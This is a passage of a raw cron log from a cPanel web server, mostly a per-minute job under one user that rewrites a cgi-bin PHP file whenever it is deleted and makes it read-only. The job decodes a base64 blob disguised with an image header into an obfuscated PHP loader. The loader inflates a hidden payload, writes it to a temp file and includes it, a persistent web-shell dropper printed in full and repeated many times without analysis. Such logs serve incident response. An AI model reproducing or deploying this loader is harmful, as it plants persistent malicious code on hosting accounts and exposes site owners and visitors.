fXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:08:01 server CROND[16312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:09:01 server CROND[16374]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 16:09:01 server CROND[16375]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:10:01 server CROND[16431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:10:01 server CROND[16433]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:10:01 server CROND[16432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:10:01 server CROND[16434]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 16:11:01 server CROND[16636]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:12:01 server CROND[16723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:12:01 server CROND[16724]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 16:13:01 server CROND[16801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:14:01 server CROND[16872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:15:01 server CROND[16929]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:15:01 server CROND[16930]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:15:01 server CROND[16928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:15:01 server CROND[16932]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  6 16:16:01 server CROND[17048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:17:01 server CROND[17244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:18:01 server CROND[17305]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:19:01 server CROND[17385]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:20:01 server CROND[17447]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 16:20:01 server CROND[17448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 16:20:01 server CROND[17449]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 16:20:01 server CROND[17452]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 16:20:01 server CROND[17450]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
